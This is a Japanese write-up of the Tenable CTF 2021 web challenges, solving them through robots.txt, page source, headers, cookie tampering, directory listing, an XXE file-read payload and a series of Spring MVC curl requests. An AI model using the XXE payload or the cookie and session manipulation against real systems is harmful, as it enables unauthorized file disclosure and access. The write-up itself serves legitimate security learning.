Tenable CTF 2021: Writeup
Web
Stay Away Creepy Crawlers
robots.txt
ファイルをみる。
User-agent: * Disallow: /admin/ # flag{mr_roboto}
flag: flag{mr_roboto}
Source of All Evil
ソースコードを見るだけ。
<!-- source flag : flag{best_implants_ever} -->
flag : flag{best_implants_ever}
Headers for you inspiration
レスポンスのヘッダにflagがある。
HTTP/1.1 200 OK Date: Fri, 19 Feb 2021 02:21:59 GMT Server: Apache/2.4.41 (Ubuntu) Strict-Transport-Security: max-age=63072000; includeSubdomains X-Frame-Options: DENY X-Content-Type-Options: nosniff Flag: flag{headersftw} Vary: Accept-Encoding Content-Length: 1041 Connection: close Content-Type: text/html; charset=UTF-8
flag: flag{headersftw}
Ripper Doc
/certified_rippers.php
においてauthenticated
というパラメータのCookieをtrueに書き換えてアクセスするとflagがでてくる。
<ul> <b>Rippers:</b><li> <b>Don Sue Mei: dds123@example.com</b></li><li> <b>Lok Mah NoHans: llhsa@example.com</b></li><li> <b>Mr Flagerific: flag{messing_with_cookies}</b></li>
flag: flag{messing_with_cookies}
Show me what you got
/images/
にアクセスするとファイルの一覧が見える。
/images/aljdi3sd.txt
の中身をみるとflagがある。
flag: flag{disable_directory_indexes}
Can't find it
存在しないリソースにアクセスしようとするとflagがでてくる
WTF - Page not found! btw - flag{404_oh_no}
flag: flag{404_oh_no}
Send A Letter
フォームを入力してみると
/send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3Cletter%3E%3Cfrom%3E%3C/from%3E%3Creturn_addr%3E%3C/return_addr%3E%3Cname%3Eunko%3C/name%3E%3Caddr%3Eunko@unko.com%3C/addr%3E%3Cmessage%3Eunko%3C/message%3E%3C/letter%3E
letterパラメータにXMLを指定してGETしているので簡単な問題ならXXEの脆弱性がありそう。
適当にGETしてみると Message to unko appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.
というアラートがでてくる。
/tmp/messages_outbound.txt
ファイルを読めればよさそうなので単純なXXEをためすとflagがよめる。
Payload
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///tmp/messages_outbound.txt"> ]> <letter><from></from><return_addr></return_addr><name>&ent;</name><addr>unko@unko.com</addr><message>unko</message></letter>
Response
Message to flag{xxe_aww_yeah} appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.
flag: flag{xxe_aww_yeah}
Spring MVC 1
ソースコードをみてみるとMainController.java
の中に
@GetMapping("/main") public ModelAndView getMain() { ModelAndView modelAndView = new ModelAndView("flag"); modelAndView.addObject("flag", flags.getFlag("spring_mvc_1")); // get main return modelAndView; }
という記述があり、 /main
にアクセスするとflagを手に入れることができる。
flag: flag{flag1_517d74}
Spring MVC 2
@PostMapping("/main") public String postMain(@RequestParam(name="magicWord", required=false, defaultValue="") String magicWord, Model model) { if (magicWord.equals("please")) model.addAttribute("flag", flags.getFlag("spring_mvc_3")); // post main param else model.addAttribute("flag", flags.getFlag("spring_mvc_2")); // post main return "flag"; }
/main
にPOSTすればflagゲットできそう
$ curl -i -X POST http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:31:11 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag2_de3981}</p> </body> </html>
flag: flag{flag2_de3981}
Spring MVC 3
さっきのコードをみてみるとmagicWord
パラメータにplease
を与えてPOSTすればよさそう。
$ curl -i -d "magicWord=please" http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:32:36 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag3_0d431e}</p> </body> </html>
flag: flag{flag3_0d431e}
Spring MVC 4
@PostMapping(path = "/main", consumes = "application/json") public String postMainJson(Model model) { model.addAttribute("flag", flags.getFlag("spring_mvc_4")); // post main flag json return "flag"; }
HTTPリクエストのヘッダのContent-Type
にapplication/json
を指定すればよさそう。
$ curl -i -X POST -H 'Content-Type: application/json' http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:34:50 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag4_695954}</p> </body> </html>
flag: flag{flag4_695954}
Spring MVC 5
@RequestMapping(path = "/main", method = RequestMethod.OPTIONS) public String optionsMain(Model model) { model.addAttribute("flag", flags.getFlag("spring_mvc_5")); // options main return "flag"; }
OPTIONS
メソッドでリクエストすればよさそう。
$ curl -i -X OPTIONS http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:35:57 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag5_70102b}</p> </body> </html>
flag: flag{flag5_70102b}
Spring MVC 6
@RequestMapping(path = "/main", method = RequestMethod.GET, headers = "Magic-Word=please") public String headersMain(Model model) { model.addAttribute("flag", flags.getFlag("spring_mvc_6")); // headers main return "flag"; }
GET
メソッドでMagic-Word
ヘッダにplease
を指定してあげればよさそう。
$ curl -i -H 'Magic-Word: please' http://challenges.ctfd.io:30542/main HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Content-Language: en-US Transfer-Encoding: chunked Date: Mon, 22 Feb 2021 10:37:32 GMT <!DOCTYPE HTML> <html> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body> <p >flag{flag6_ca1ddf}</p> </body> </html>
Spring MVC 7 (Hiding in Plain Sight)
src/main/resources/templetes/.hello.html
ファイルをみてみると
<!DOCTYPE HTML> <html xmlns:th="http://www.thymeleaf.org"> <head> <title>Tenable CTF: Spring MVC</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> span.hidden { color:white; } </style> </head> <body> <p th:text="'Hello, ' + ${name} + '!'" /> <p th:if="${name == 'please'}"> <span class="hidden" th:text="${@flagService.getFlag('hidden_flag')}" /> </p> <p th:if="${#session.getAttribute('realName') == 'admin'}"> <span th:text="${#session.getAttribute('sessionFlag')}" /> </p> </body> </html>
name
にplease
を指定できれば隠れてるflagを表示させることができそう。
.hello
を呼び出してるのは src/main/java/com/tenable/ctf/mvc/MainController.java
っぽいので処理の流れをみてみる
@GetMapping("/") public String index(HttpSession session, Model model, @RequestParam(name="name", required=false, defaultValue="user") String name) { model.addAttribute("name", name); session.setAttribute("sessionFlag", flags.getFlag("session_flag")); return ".hello"; }
http://challenges.ctfd.io:30542/?name=please
にアクセスすると
Hello, please! flag{hidden_flag_1dbc4}
flag: flag{hidden_flag_1dbc4}
Spring MVC 8 (Sessionable)
さっきの .hello.html
の一部をみてみると
<p th:if="${#session.getAttribute('realName') == 'admin'}"> <span th:text="${#session.getAttribute('sessionFlag')}" /> </p>
realName
をadmin
に指定することができれば取得できそう。
MainController.java
をみると
@GetMapping("/") public String index(HttpSession session, Model model, @RequestParam(name="name", required=false, defaultValue="user") String name) { model.addAttribute("name", name); session.setAttribute("sessionFlag", flags.getFlag("session_flag")); return ".hello"; }
realNameの指定の仕方がよくわからないから検索してみると
src/main/java/com/tenable/ctf/mvc/OtherController.java
をみてみると
@GetMapping("/other") public String index(@RequestParam(name="name", required=false, defaultValue="user") String realName, HttpSession session, Model model) { session.setAttribute("realName", realName); model.addAttribute("name", realName); return "hello"; }
realNameは/other
で指定できるので
http://challenges.ctfd.io:30542/other?name=admin
にアクセスしてadmin
のセッションを取得したあとにhttp://challenges.ctfd.io:30542/
にアクセスするとflagを取得することができる。
flag: flag{session_flag_0dac2c}